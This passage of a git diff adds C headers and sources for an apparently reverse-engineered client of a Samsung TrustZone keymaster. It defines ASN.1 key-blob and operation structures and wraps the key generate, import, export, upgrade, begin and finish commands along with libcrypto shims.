0x08 + KM_PADDING padding; // offset: 0x0c + char *d; // offset: 0x10 + bool is_wrapped_sig; // offset: 0x14 + EVP_MD_CTX *md_ctx; // offset: 0x18 + EVP_PKEY_CTX *pkey_ctx; // offset: 0x1c + char buf_512[0x200]; // offset: 0x20 + int buf_len; // offset: 0x220 + int pkey_size; // offset: 0x224 + int key_size; // offset: 0x228 + int is_decoded_pkey; // offset: 0x22c + OPENSSL_PADDING openssl_pad; // offset: 0x230 + char bla[0x10]; // offset: 0x234 + operation_handler_t *handler; // offset: 0x244 +} km_cipher_ctx_t; + +/**************************** +* ASN1 items/templates/funcs +*****************************/ + +/* +ASN1_ITEM KM_PARAM = { + .itype = '\x01', + .utype = 0x10, + .templates = km_param_templates, + .tcount = 0x3, + .funcs = km_param_funcs, + .size = 0x10, + .sname = "KM_PARAM" +}; +*/ +typedef struct km_param_t { + ASN1_INTEGER *tag; // offset: 0x00, flags: 0x00, tag: 0x00 + ASN1_INTEGER *i; // offset: 0x04, flags: 0x91, tag: 0x00 + ASN1_OCTET_STRING *b; // offset: 0x08, flags: 0x91, tag: 0x01 + int flags; // offset: 0x10 +} km_param_t; +extern ASN1_ITEM KM_PARAM; +int swd_param_cb(int operation, ASN1_VALUE **in, const ASN1_ITEM *it, void *exarg); + +/* +ASN1_ITEM KM_KEY_BLOB = { + .itype = '\x01', + .utype = 0x10, + .templates = km_key_blob_templates, + .tcount = 0x3, + .funcs = km_key_blob_funcs, + .size = 0xc, + .sname = "KM_KEY_BLOB" +}; +*/ +typedef struct km_key_blob_t { + ASN1_INTEGER *ver; // offset: 0x00, flags: 0x00, tag: 0x00 + ASN1_OCTET_STRING *key; // offset: 0x04, flags: 0x00, tag: 0x00 + km_param_t *par; // offset: 0x08, flags: 0x93, tag: 0x00 +} km_key_blob_t; +extern ASN1_ITEM KM_KEY_BLOB; +int swd_key_blob_cb(int operation, ASN1_VALUE **in, const ASN1_ITEM *it, void *exarg); +int should_mark_hidden_tag(keymaster_tag_t tag); +int km_mark_hidden_tags(km_param_t *par); +int km_del_tags_by_flag(km_param_t *par, int flag); + +/* +ASN1_ITEM KM_EKEY_BLOB = { + .itype = '\x01', + .utype = 0x10, + .templates = km_ekey_blob_templates, + .tcount = 0x3, + .funcs = km_ekey_blob_funcs, + .size = 0x10, + .sname = "KM_EKEY_BLOB" +}; +*/ +typedef struct km_ekey_blob_t { + km_key_blob_t *key_blob; + ASN1_INTEGER *enc_ver; // offset: 0x04, flags: 0x00, tag: 0x00 + ASN1_OCTET_STRING *ekey; // offset: 0x08, flags: 0x00, tag: 0x00 + km_param_t *enc_par; // offset: 0x0c, flags: 0x02, tag: 0x00 +} km_ekey_blob_t; +extern ASN1_ITEM KM_EKEY_BLOB; +int swd_ekey_blob_cb(int operation, ASN1_VALUE **in, const ASN1_ITEM *it, void *exarg); + +/* +ASN1_ITEM KM_INDATA = { + .itype = '\x01', + .utype = 0x10, + .templates = km_indata_templates, + .tcount = 0xc, + .funcs = km_indata_funcs, + .size = 0x34, + .sname = "KM_INDATA" +}; +*/ +typedef struct km_indata_t { + ASN1_INTEGER *ver; // offset: 0x00, flags: 0x00, tag: 0x00 + ASN1_INTEGER *km_ver; // offset: 0x04, flags: 0x00, tag: 0x00 + ASN1_INTEGER *cmd; // offset: 0x08, flags: 0x00, tag: 0x00 + ASN1_INTEGER *pid; // offset: 0x0c, flags: 0x00, tag: 0x00 + ASN1_INTEGER *int0; // offset: 0x10, flags: 0x91, tag: 0x00 + ASN1_INTEGER *long0; // offset: 0x14, flags: 0x91, tag: 0x01 + ASN1_INTEGER *long1; // offset: 0x18, flags: 0x91, tag: 0x02 + ASN1_OCTET_STRING *bin0; // offset: 0x1c, flags: 0x91, tag: 0x03 + ASN1_OCTET_STRING *bin1; // offset: 0x20, flags: 0x91, tag: 0x04 + ASN1_OCTET_STRING *bin2; // offset: 0x24, flags: 0x91, tag: 0x05 + ASN1_OCTET_STRING *key; // offset: 0x28, flags: 0x91, tag: 0x06 + km_param_t *par; // offset: 0x2c, flags: 0x93, tag: 0x08 + int flags; +} km_indata_t; + +/* +ASN1_ITEM KM_OUTDATA = { + .itype = '\x01', + .utype = 0x10, + .templates = km_outdata_templates, + .tcount = 0xa, + .funcs = km_outdata_funcs, + .size = 0x2c, + .sname = "KM_OUTDATA" +}; +*/ +typedef struct km_outdata_t { + ASN1_INTEGER *ver; // offset: 0x00, flags: 0x00, tag: 0x00 + ASN1_INTEGER *cmd; // offset: 0x04, flags: 0x00, tag: 0x00 + ASN1_INTEGER *pid; // offset: 0x08, flags: 0x00, tag: 0x00 + ASN1_INTEGER *err; // offset: 0x0c, flags: 0x00, tag: 0x00 + ASN1_INTEGER *int0; // offset: 0x10, flags: 0x91, tag: 0x00 + ASN1_INTEGER *long0; // offset: 0x14, flags: 0x91, tag: 0x01 + ASN1_OCTET_STRING *bin0; // offset: 0x18, flags: 0x91, tag: 0x02 + ASN1_OCTET_STRING *bin1; // offset: 0x1c, flags: 0x91, tag: 0x03 + ASN1_OCTET_STRING *bin2; // offset: 0x20, flags: 0x91, tag: 0x04 + ASN1_OCTET_STRING *log; // offset: 0x24, flags: 0x91, tag: 0x05 + int flags; +} km_outdata_t; + +/* +ASN1_ITEM KM_OPERATION_ST = { + .itype = '\x01', + .utype = 0x10, + .templates = km_operation_st_templates, + .tcount = 0x4, + .funcs = km_operation_st_funcs, + .size = 0x1c, + .sname = "KM_OPERATION_ST" +*/ +typedef struct km_operation_st_t { + ASN1_OCTET_STRING *in; // offset: 0x00, flags: 0x01, tag: 0x00 + ASN1_OCTET_STRING *out; // offset: 0x04, flags: 0x01, tag: 0x00 + ASN1_OCTET_STRING *finish_out; // offset: 0x08, flags: 0x01, tag: 0x00 + ASN1_OCTET_STRING *signature; // offset: 0x0c, flags: 0x01, tag: 0x00 +} km_operation_st_t; + +/* +ASN1_ITEM KM_OPERATION = { + .itype = '\x01', + .utype = 0x10, + .templates = km_operation_templates, + .tcount = 0x1, + .funcs = km_operation_funcs, + .size = 0x250, + .sname = "KM_OPERATION" +}; +*/ +typedef struct km_operation_t { + km_param_t *par; // offset: 0x00, flags: 0x93, tag: 0x00 + km_cipher_ctx_t cipher_ctx; // offset: 0x04 +} km_operation_t; + +/* +ASN1_ITEM KM_KEY_OBJECT = { + .itype = '\x01', + .utype = 0x10, + .templates = km_key_object_templates, + .tcount = 0x2, + .funcs = NULL, + .size = 0xc, + .sname = "KM_KEY_OBJECT" +}; +*/ +typedef struct km_key_object_t { + ASN1_OCTET_STRING *id; // offset: 0x00, flags: 0x00, tag: 0x00 + km_param_t *par; // offset: 0x04, flags: 0x93, tag: 0x00 +} km_key_object_t; + +/* +ASN1_ITEM KM_ROOT_OF_TRUST = { + .itype = '\x01', + .utype = 0x10, + .templates = km_root_of_trust_templates, + .tcount = 0x4, + .funcs = NULL, + .size = 0x10, + .sname = "KM_ROOT_OF_TRUST" +}; +*/ +typedef struct km_root_of_trust_t { + ASN1_OCTET_STRING *verified_boot_key; // offset: 0x00, flags: 0x00, tag: 0x00 + ASN1_BOOLEAN *device_locked; // offset: 0x04, flags: 0x00, tag: 0x00 + ASN1_ENUMERATED *verified_boot_state; // offset: 0x08, flags: 0x00, tag: 0x00 + ASN1_OCTET_STRING *verified_boot_hash; // offset: 0x0c, flags: 0x00, tag: 0x00 +} km_root_of_trust_t; +extern ASN1_ITEM KM_ROOT_OF_TRUST; + +/* +ASN1_ITEM KM_AUTH_LIST = { + .itype = '\x01', + .utype = 0x10, + .templates = km_auth_list_templates, + .tcount = 0x25, + .funcs = NULL, + .size = 0x94, + .sname = "KM_AUTH_LIST" +}; +*/ +typedef struct km_auth_list_t { + ASN1_INTEGER *purpose; // offset: 0x00, flags: 0x93, tag: 0x01 + ASN1_INTEGER *algorithm; // offset: 0x04, flags: 0x91, tag: 0x02 + ASN1_INTEGER *key_size; // offset: 0x08, flags: 0x91, tag: 0x03 + ASN1_INTEGER *block_mode; // offset: 0x0c, flags: 0x93, tag: 0x04 + ASN1_INTEGER *digest; // offset: 0x10, flags: 0x93, tag: 0x05 + ASN1_INTEGER *padding; // offset: 0x14, flags: 0x93, tag: 0x06 + ASN1_NULL *caller_nonce; // offset: 0x18, flags: 0x91, tag: 0x07 + ASN1_INTEGER *min_mac_length; // offset: 0x1c, flags: 0x91, tag: 0x08 + ASN1_INTEGER *ec_curve; // offset: 0x20, flags: 0x91, tag: 0x0a + ASN1_INTEGER *rsa_public_exponent; // offset: 0x24, flags: 0x91, tag: 0xc8 + ASN1_NULL *rollback_resistance; // offset: 0x28, flags: 0x91, tag: 0x12f + ASN1_INTEGER *active_date_time; // offset: 0x2c, flags: 0x91, tag: 0x190 + ASN1_INTEGER *origination_expire_date; // offset: 0x30, flags: 0x91, tag: 0x191 + ASN1_INTEGER *usage_expire_date; // offset: 0x34, flags: 0x91, tag: 0x192 + ASN1_NULL *no_auth_required; // offset: 0x38, flags: 0x91, tag: 0x1f7 + ASN1_INTEGER *user_auth_type; // offset: 0x3c, flags: 0x91, tag: 0x1f8 + ASN1_INTEGER *auth_timeout; // offset: 0x40, flags: 0x91, tag: 0x1f9 + ASN1_NULL *allow_while_on_body; // offset: 0x44, flags: 0x91, tag: 0x1fa + ASN1_NULL *trusted_user_presence_req; // offset: 0x48, flags: 0x91, tag: 0x1fb + ASN1_NULL *trusted_confirmation_req; // offset: 0x4c, flags: 0x91, tag: 0x1fc + ASN1_NULL *unlocked_device_required; // offset: 0x50, flags: 0x91, tag: 0x1fd + ASN1_INTEGER *creation_date_time; // offset: 0x54, flags: 0x91, tag: 0x2bd + ASN1_INTEGER *origin; // offset: 0x58, flags: 0x91, tag: 0x2be + km_root_of_trust_t *root_of_trust; // offset: 0x5c, flags: 0x91, tag: 0x2c0 + ASN1_INTEGER *os_version; // offset: 0x60, flags: 0x91, tag: 0x2c1 + ASN1_INTEGER *os_patchlevel; // offset: 0x64, flags: 0x91, tag: 0x2c2 + ASN1_OCTET_STRING *attestation_application_id; // offset: 0x68, flags: 0x91, tag: 0x2c5 + ASN1_OCTET_STRING *attestation_id_brand; // offset: 0x6c, flags: 0x91, tag: 0x2c6 + ASN1_OCTET_STRING *attestation_id_device; // offset: 0x70, flags: 0x91, tag: 0x2c7 + ASN1_OCTET_STRING *attestation_id_product; // offset: 0x74, flags: 0x91, tag: 0x2c8 + ASN1_OCTET_STRING *attestation_id_serial; // offset: 0x78, flags: 0x91, tag: 0x2c9 + ASN1_OCTET_STRING *attestation_id_imei; // offset: 0x7c, flags: 0x91, tag: 0x2ca + ASN1_OCTET_STRING *attestation_id_meid; // offset: 0x80, flags: 0x91, tag: 0x2cb + ASN1_OCTET_STRING *attestation_id_manufactuer; // offset: 0x84, flags: 0x91, tag: 0x2cc + ASN1_OCTET_STRING *attestation_id_model; // offset: 0x88, flags: 0x91, tag: 0x2cd + ASN1_INTEGER *vendor_patchlevel; // offset: 0x8c, flags: 0x91, tag: 0x2ce + ASN1_INTEGER *boot_patchlevel; // offset: 0x90, flags: 0x91, tag: 0x2cf +} km_auth_list_t; + +/* +ASN1_ITEM KM_WRAPPED_KEY_DESCRIPTION = { + .itype = '\x01', + .utype = 0x10, + .templates = km_wrapped_key_description_templates, + .tcount = 0x2, + .funcs = NULL, + .size = 0x8, + .sname = "KM_WRAPPED_KEY_DESCRIPTTION" +};*/ +typedef struct km_wrapped_key_description_t { + ASN1_INTEGER *key_format; // offset: 0x00, flags: 0x00, tag: 0x00 + km_auth_list_t *auth_list; // offset: 0x04, flags: 0x00, tag: 0x00 +} km_wrapped_key_description_t; + +/* +ASN1_ITEM KM_WRAPPED_KEY = { + .itype = '\x01', + .utype = 0x10, + .templates = km_wrapped_key_templates, + .tcount = 0x6, + .funcs = NULL, + .size = 0x18, + .sname = "KM_WRAPPED_KEY" +}; +*/ +typedef struct km_wrapped_key_t { + ASN1_INTEGER *version; // offset: 0x00, flags: 0x00, tag: 0x00 + ASN1_OCTET_STRING *transit_key; // offset: 0x04, flags: 0x00, tag: 0x00 + ASN1_OCTET_STRING *iv; // offset: 0x08, flags: 0x00, tag: 0x00 + km_wrapped_key_description_t *wrapped_key_description; // offset: 0x0c, flags: 0x00, tag: 0x00 + ASN1_OCTET_STRING *secure_key; // offset: 0x10, flags: 0x00, tag: 0x00 + ASN1_OCTET_STRING *tag; // offset: 0x14, flags: 0x00, tag: 0x00 +} km_wrapped_key_t; + +/* +ASN1_ITEM KM_VERIFICATION_TOKEN = { + .itype = '\x01', + .utype = 0x10, + .templates = km_verification_token_templates, + .tcount = 0x5, + .funcs = NULL, + .size = 0x14, + .sname = "KM_VERIFICATION_TOKEN" +}; +*/ +typedef struct km_verification_token_t { + ASN1_INTEGER *challenge; // offset: 0x00, flags: 0x00, tag: 0x00 + ASN1_INTEGER *timestamp; // offset: 0x04, flags: 0x00, tag: 0x00 + ASN1_INTEGER *security_level; // offset: 0x08, flags: 0x00, tag: 0x00 + km_param_t *paramaters_verified; // offset: 0x0c, flags: 0x00, tag: 0x00 + ASN1_OCTET_STRING *hmac; // offset: 0x10, flags: 0x00, tag: 0x00 +} km_verification_token_t; + +/**************************** +* ASN1 related functions +*****************************/ + +int km_get_ASN1_INTEGER(ASN1_INTEGER *integer, int32_t *out); +ASN1_INTEGER *km_set_ASN1_INTEGER(long v); + +int km_get_ASN1_INTEGER_BN(ASN1_INTEGER *integer, int64_t *out); +ASN1_INTEGER *km_set_ASN1_INTEGER_BN(uint64_t v); + +int km_get_ASN1_OCTET_STRING(ASN1_OCTET_STRING *string, uint8_t **p_out, size_t *p_len); +ASN1_OCTET_STRING *km_set_ASN1_OCTET_STRING(uint8_t *data, size_t len); + +void free_km_param(void *par); + +km_indata_t * KM_INDATA_new(void); +void KM_INDATA_free(km_indata_t *indata); +int i2d_KM_INDATA(km_indata_t *indata, uint8_t **out); +km_indata_t *d2i_KM_INDATA(ASN1_VALUE **val, uint8_t **in, long len); + +km_outdata_t *d2i_KM_OUTDATA(ASN1_VALUE **val, uint8_t **in, long len); +void KM_OUTDATA_free(km_outdata_t *outdata); + +ASN1_OCTET_STRING *encode_ekey_blob(km_ekey_blob_t *ekey_blob); + +#endif // _SKEYMASTER_ASN1_H_ diff --git a/jni/core/skeymaster_commands.c b/jni/core/skeymaster_commands.c new file mode 100755 index 0000000..76c67cc --- /dev/null +++ b/jni/core/skeymaster_commands.c @@ -0,0 +1,258 @@ +#include +#include +#include + +#include +#include +#include +#include + +#define LOG_ERROR(name, ret) LOGE("%s() failed; ret: %s (%d)", name, km_error_to_string(ret), ret) + +KM_Result wait_for_keymaster(void) +{ + KM_Result ret = KM_RESULT_INVALID; + keymaster_key_param_set_t key_params = {0}; + LOGD("trying to open %s TA", "skeymaster"); + + ret = nwd_open_connection(); + if (KM_RESULT_SUCCESS != ret) { + LOG_ERROR("nwd_open_connection", ret); + goto cleanup; + } + + ret = nwd_configure(&key_params); + if (KM_RESULT_SUCCESS != ret) { + LOG_ERROR("nwd_configure", ret); + goto cleanup; + } + +cleanup: + return ret; +} + +KM_Result generate(key_request_t *req, vector_t *ekey) +{ + KM_Result ret = KM_RESULT_INVALID; + keymaster_key_param_set_t param_set = {0}; + keymaster_key_characteristics_t characteristics; + memset(&characteristics, 0, sizeof(characteristics)); + + if (KM_RESULT_SUCCESS != init_key_request(req, ¶m_set)) { + LOGE("%s failed", "init_key_request"); + goto cleanup; + } + + print_param_set(¶m_set); + + ret = nwd_generate_key(¶m_set, ekey, &characteristics); + + if (KM_RESULT_SUCCESS != ret) { + LOG_ERROR("nwd_generate_key", ret); + goto cleanup; + } + + print_characteristics(&characteristics); + +cleanup: + keymaster_free_param_set(¶m_set); + keymaster_free_characteristics(&characteristics); + return ret; +} + +KM_Result get_key_characteristics(key_request_t *req, vector_t *ekey) +{ + KM_Result ret = KM_RESULT_INVALID; + keymaster_key_characteristics_t characteristics; + memset(&characteristics, 0, sizeof(characteristics)); + + ret = nwd_get_key_characteristics( + ekey, &req->application_id, &req->application_data, &characteristics); + + if (KM_RESULT_SUCCESS != ret) { + LOG_ERROR("nwd_get_key_characteristics", ret); + goto cleanup; + } + + print_characteristics(&characteristics); + +cleanup: + keymaster_free_characteristics(&characteristics); + return ret; +} + +KM_Result import( + key_request_t *req, + vector_t *key_data, + vector_t *ekey) +{ + KM_Result ret = KM_RESULT_INVALID; + keymaster_key_param_set_t param_set = {0}; + keymaster_key_characteristics_t characteristics; + memset(&characteristics, 0, sizeof(characteristics)); + + if (KM_RESULT_SUCCESS != init_key_request(req, ¶m_set)) { + LOGE("%s failed", "init_key_request"); + goto cleanup; + } + + print_param_set(¶m_set); + + long key_format = (KM_ALGORITHM_AES != req->algorithm) ? KM_KEY_FORMAT_PKCS8 : KM_KEY_FORMAT_RAW; + LOGD("key_format: %s (0x%lx)", km_key_format_to_string(key_format), key_format); + LOGD("algorithm: %s (%d)", km_algorithm_to_string(req->algorithm), req->algorithm); + + ret = nwd_import_key(¶m_set, key_format, key_data, ekey, &characteristics); + + if (KM_RESULT_SUCCESS != ret) { + LOG_ERROR("nwd_import_key", ret); + goto cleanup; + } + + print_characteristics(&characteristics); + +cleanup: + keymaster_free_param_set(¶m_set); + keymaster_free_characteristics(&characteristics); + return ret; +} + +KM_Result export(key_request_t *req, vector_t *ekey, vector_t *exported) +{ + KM_Result ret = KM_RESULT_INVALID; + + long key_format = (KM_ALGORITHM_AES != req->algorithm) ? KM_KEY_FORMAT_X509 : KM_KEY_FORMAT_RAW; + LOGD("key_format: %s (0x%lx)", km_key_format_to_string(key_format), key_format); + LOGD("algorithm: %s (%d)", km_algorithm_to_string(req->algorithm), req->algorithm); + + ret = nwd_export_key(key_format, ekey, &req->application_id, &req->application_data, exported); + + if (KM_RESULT_SUCCESS != ret) { + LOG_ERROR("nwd_export_key", ret); + goto cleanup; + } + +cleanup: + return ret; +} + +KM_Result upgrade( + key_request_t *req, + vector_t *ekey, + vector_t *new_ekey) +{ + KM_Result ret = KM_RESULT_INVALID; + + keymaster_key_param_set_t param_set = {0}; + + if (KM_RESULT_SUCCESS != init_key_request(req, ¶m_set)) { + LOGE("%s failed", "init_key_request"); + goto cleanup; + } + + ret = nwd_upgrade_key(ekey, ¶m_set, new_ekey); + if (KM_RESULT_SUCCESS != ret) { + LOG_ERROR("nwd_upgrade_key", ret); + goto cleanup; + } + +cleanup: + return ret; +} + +KM_Result begin_operation(key_request_t *req, vector_t *ekey, int64_t *operation_handle) +{ + KM_Result ret = KM_RESULT_INVALID; + keymaster_key_param_set_t param_set = {0}; + keymaster_key_param_set_t out_params = {0}; + + if (KM_RESULT_SUCCESS != init_key_request(req, ¶m_set)) { + LOGE("%s failed", "init_key_request"); + goto cleanup; + } + + print_param_set(¶m_set); + + ret = nwd_begin(¶m_set, req->purpose, ekey, operation_handle, &out_params); + if (KM_RESULT_SUCCESS != ret) { + LOG_ERROR("nwd_begin", ret); + goto cleanup; + } + +cleanup: + keymaster_free_param_set(¶m_set); + + return ret; +} + +// KM_Result update_operation( +// uint64_t operation_handle, +// keymaster_key_param_set_t *update_params, +// vector_t *ekey, +// keymaster_key_param_set_t *param_set, +// keymaster_key_param_set_t *out_params) +// { +// KM_Result ret = -1; +// ret = nwd_update(operation_handle, update_params, ekey, application_id, application_data, out_params); +// if (KM_RESULT_SUCCESS != ret) { +// LOG_ERROR("nwd_update", ret); +// goto cleanup; +// } + +// ret = 0; + +// cleanup: +// return ret; +// } + +KM_Result finish_operation( + int64_t *operation_handle, + keymaster_key_param_set_t *update_params, + vector_t *data, + vector_t *signature, + vector_t *result) +{ + KM_Result ret = KM_RESULT_INVALID; + vector_t output = {0}; + keymaster_key_param_set_t out_params = {0}; + ret = nwd_finish(update_params, data, signature, operation_handle, &output, &out_params); + if (KM_RESULT_SUCCESS != ret) { + LOG_ERROR("nwd_finish", ret); + goto cleanup; + } + + ret = 0; + +cleanup: + return ret; +} + +KM_Result do_operation( + vector_t *data, + int purpose, + vector_t *ekey, + key_request_t *req, + keymaster_key_param_set_t *begin_params, + keymaster_key_param_set_t *update_params, + keymaster_key_param_set_t *out_params) +{ + KM_Result ret = KM_RESULT_INVALID; + vector_t result = {0}; + int64_t operation_handle = 0; + vector_t signature = {0}; + + ret = nwd_begin(begin_params, purpose, ekey, &operation_handle, out_params); + if (KM_RESULT_SUCCESS != ret) { + goto cleanup; + } + + ret = finish_operation(&operation_handle, update_params, data, &signature, &result); + if (KM_RESULT_SUCCESS != ret) { + goto cleanup; + } + + ret = KM_RESULT_SUCCESS; + +cleanup: + return ret; +} diff --git a/jni/core/skeymaster_commands.h b/jni/core/skeymaster_commands.h new file mode 100755 index 0000000..3c88600 --- /dev/null +++ b/jni/core/skeymaster_commands.h @@ -0,0 +1,64 @@ +#ifndef _SKEYMASTER_COMMANDS_H_ +#define _SKEYMASTER_COMMANDS_H_ + +#include + +/** @brief Open connection and run the Configure command + @Return status KM_RESULT_SUCCESS if successful + */ +KM_Result wait_for_keymaster(void); + +/** @brief Run the GenerateKey command + @param[in] req Key request + @param[out] ekey Output ekey blob data + @Return status 0 if successful + */ +KM_Result generate(key_request_t *req, vector_t *ekey); + +/** @brief Run the GetKeyCharacteristics command + @param[in] req Key request + @param[in] ekey Ekey blob data + @Return status KM_RESULT_SUCCESS if successful + */ +KM_Result get_key_characteristics(key_request_t *req, vector_t *ekey); + +/** @brief Run the importKey command + @param[in] req Key request + @param[in] key_path Input key path + @param[out] ekey Output ekey data + @Return status KM_RESULT_SUCCESS if successful + */ +KM_Result import(key_request_t *req, vector_t *key_data, vector_t *ekey); + +/** @brief Run the exportKey command + @param[in] req Key request + @param[in] ekey Ekey blob data + @param[in] exported Exported data + @Return status KM_RESULT_SUCCESS if successful + */ +KM_Result export(key_request_t *req, vector_t *ekey, vector_t *exported); + +/** @brief Run the upgradeKey command + @param[in] req Key request + @param[in] ekey Ekey blob data + @param[out] new_ekey Upgraded ekey blob data + @Return status KM_RESULT_SUCCESS if successful + */ +KM_Result upgrade(key_request_t *req, vector_t *ekey, vector_t *new_ekey); + +/** @brief Run the begin command + @param[in] req Key request + @param[in] ekey Ekey blob data + @param[out] operation_handle Output operation handle + @Return status KM_RESULT_SUCCESS if successful + */ +KM_Result begin_operation(key_request_t *req, vector_t *ekey, int64_t *operation_handle); + +KM_Result finish_operation( + int64_t *operation_handle, + keymaster_key_param_set_t *update_params, + vector_t *data, + vector_t *signature, + vector_t *result); + +#endif // _SKEYMASTER_COMMANDS_H_ diff --git a/jni/core/skeymaster_crypto.c b/jni/core/skeymaster_crypto.c new file mode 100755 index 0000000..2eb670e --- /dev/null +++ b/jni/core/skeymaster_crypto.c @@ -0,0 +1,105 @@ +#include +#include + +ASN1_VALUE * ASN1_item_new(const ASN1_ITEM *it) +{ + return g_libcrypto->ASN1_item_new(it); +} + +void ASN1_item_free(ASN1_VALUE *val, const ASN1_ITEM *it) { + g_libcrypto->ASN1_item_free(val, it); +} + +ASN1_VALUE *ASN1_item_d2i(ASN1_VALUE **val, const unsigned char **in, long len, const ASN1_ITEM *it) +{ + return g_libcrypto->ASN1_item_d2i(val, in, len, it); +} + +int ASN1_item_i2d(ASN1_VALUE *val, unsigned char **out, const ASN1_ITEM *it) +{ + return g_libcrypto->ASN1_item_i2d(val, out, it); +} + +ASN1_INTEGER * ASN1_INTEGER_new(void) +{ + return g_libcrypto->ASN1_INTEGER_new(); +} + +void ASN1_INTEGER_free(ASN1_INTEGER *a) +{ + g_libcrypto->ASN1_INTEGER_free(a); +} + +int ASN1_INTEGER_set(ASN1_INTEGER *a, long v) +{ + return g_libcrypto->ASN1_INTEGER_set(a, v); +} + +ASN1_INTEGER * ASN1_INTEGER_dup(const ASN1_INTEGER *x) +{ + return g_libcrypto->ASN1_INTEGER_dup(x); +} + +ASN1_OCTET_STRING * ASN1_OCTET_STRING_new(void) +{ + return g_libcrypto->ASN1_OCTET_STRING_new(); +} + +void ASN1_OCTET_STRING_free(ASN1_OCTET_STRING *a) +{ + g_libcrypto->ASN1_OCTET_STRING_free(a); +} + +int ASN1_OCTET_STRING_set(ASN1_OCTET_STRING *str, const unsigned char *data, int len) +{ + return g_libcrypto->ASN1_OCTET_STRING_set(str, data, len); +} + +ASN1_OCTET_STRING *ASN1_OCTET_STRING_dup(const ASN1_OCTET_STRING *a) +{ + return g_libcrypto->ASN1_OCTET_STRING_dup(a); +} + +long ASN1_ENUMERATED_get(const ASN1_ENUMERATED *a) +{ + return g_libcrypto->ASN1_ENUMERATED_get(a); +} + +int ASN1_ENUMERATED_set(ASN1_ENUMERATED *a, long v) +{ + return g_libcrypto->ASN1_ENUMERATED_set(a, v); +} + +_STACK *sk_new_null(void) +{ + return g_libcrypto->sk_new_null(); +} + +size_t sk_push(_STACK *sk, void *p) +{ + return g_libcrypto->sk_push(sk, p); +} + +void *sk_delete(_STACK *sk, size_t where) { + return g_libcrypto->sk_delete(sk, where); +} + +void sk_pop_free(_STACK *st, void(*func)(void *)) +{ + g_libcrypto->sk_pop_free(st, func); +} + +int sk_num(const _STACK *st) +{ + return g_libcrypto->sk_num(st); +} + +void *sk_value(const _STACK *st, int i) +{ + return g_libcrypto->sk_value(st, i); +} + +unsigned char *SHA256(const unsigned char *d, size_t n, unsigned char *md) +{ + return g_libcrypto->SHA256(d, n, md); +} diff --git a/jni/core/skeymaster_crypto.h b/jni/core/skeymaster_crypto.h new file mode 100755 index 0000000..e42b9ab --- /dev/null +++ b/jni/core/skeymaster_crypto.h @@ -0,0 +1,110 @@ +#ifndef _SKEYMASTER_CRYPTO_H_ +#define _SKEYMASTER_CRYPTO_H_ + +#include + +typedef struct ASN1_VALUE_st ASN1_VALUE; + +typedef struct ASN1_ITEM_st ASN1_ITEM_st, *PASN1_ITEM_st; + +typedef struct ASN1_ITEM_st ASN1_ITEM; + +typedef ASN1_ITEM ASN1_ITEM_EXP; + +typedef struct ASN1_TEMPLATE_st ASN1_TEMPLATE_st, *PASN1_TEMPLATE_st; + +typedef struct ASN1_TEMPLATE_st ASN1_TEMPLATE; + +struct ASN1_TEMPLATE_st { + unsigned long flags; + long tag; + unsigned long offset; + char * field_name; + ASN1_ITEM_EXP * item; +}; + +struct ASN1_ITEM_st { + char itype; + long utype; + ASN1_TEMPLATE * templates; + long tcount; + void * funcs; + long size; + char * sname; +}; + +struct ASN1_VALUE_st { +}; + +struct asn1_string_st { + int length; + int type; + unsigned char * data; + long flags; +}; + +typedef int ASN1_NULL; +typedef int ASN1_BOOLEAN; +typedef struct asn1_string_st ASN1_STRING; +typedef struct asn1_string_st ASN1_INTEGER; +typedef struct asn1_string_st ASN1_ENUMERATED; +typedef struct asn1_string_st ASN1_OCTET_STRING; + +typedef int ASN1_aux_cb(int operation, ASN1_VALUE **in, const ASN1_ITEM *it, void *exarg); + +typedef struct ASN1_AUX_st { + void *app_data; + int flags; + int ref_offset; /* Offset of reference value */ + ASN1_aux_cb *asn1_cb; + int enc_offset; /* Offset of ASN1_ENCODING structure */ +} ASN1_AUX; + +typedef struct evp_cipher_ctx_st EVP_CIPHER_CTX; +typedef struct evp_cipher_st EVP_CIPHER; +typedef struct env_md_ctx_st EVP_MD_CTX; +typedef struct env_md_st EVP_MD; +typedef struct evp_pkey_ctx_st evp_pkey_ctx_st, *Pevp_pkey_ctx_st; +typedef struct evp_pkey_ctx_st EVP_PKEY_CTX; + +typedef struct evp_pkey_st EVP_PKEY; + + +typedef struct stack_st _STACK; + +struct stack_st { + int num; + char * * data; + int sorted; + int num_alloc; + int (* comp)(void *, void *); +}; + +ASN1_VALUE * ASN1_item_new(const ASN1_ITEM *it); +void ASN1_item_free(ASN1_VALUE *val, const ASN1_ITEM *it); +ASN1_VALUE * ASN1_item_d2i(ASN1_VALUE **val, const unsigned char **in, long len, const ASN1_ITEM *it); +int ASN1_item_i2d(ASN1_VALUE *val, unsigned char **out, const ASN1_ITEM *it); + +ASN1_INTEGER * ASN1_INTEGER_new(void); +void ASN1_INTEGER_free(ASN1_INTEGER *a); +int ASN1_INTEGER_set(ASN1_INTEGER *a, long v); +ASN1_INTEGER * ASN1_INTEGER_dup(const ASN1_INTEGER *x); + +ASN1_OCTET_STRING * ASN1_OCTET_STRING_new(void); +void ASN1_OCTET_STRING_free(ASN1_OCTET_STRING *a); +int ASN1_OCTET_STRING_set(ASN1_OCTET_STRING *str, const unsigned char *data, int len); +ASN1_OCTET_STRING * ASN1_OCTET_STRING_dup(const ASN1_OCTET_STRING *a); + +long ASN1_ENUMERATED_get(const ASN1_ENUMERATED *a); +int ASN1_ENUMERATED_set(ASN1_ENUMERATED *a, long v); + +_STACK *sk_new_null(void); +size_t sk_push(_STACK *sk, void *p); +void *sk_delete(_STACK *sk, size_t where); +void sk_pop_free(_STACK *st, void(*func)(void *)); +int sk_num(const _STACK *st); +void *sk_value(const _STACK *st, int i); + +unsigned char *SHA256(const unsigned char *d, size_t n, unsigned char *md); + +#endif // _SKEYMASTER_CRYPTO_H_ diff --git a/jni/core/skeymaster_defs.c b/jni/core/skeymaster_defs.c new file mode 100755 index 0000000..34d5217 --- /dev/null +++ b/jni/core/skeymaster_defs.c @@ -0,0 +1,434 @@ +#include +#include + +#include + +/* + Part of the code in this file was inspired (but modified) by AOSP (include/hardware/keymaster_defs.h) in parallel to reverse-engineering +*/ + +/* + * Copyright (C) 2014 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + 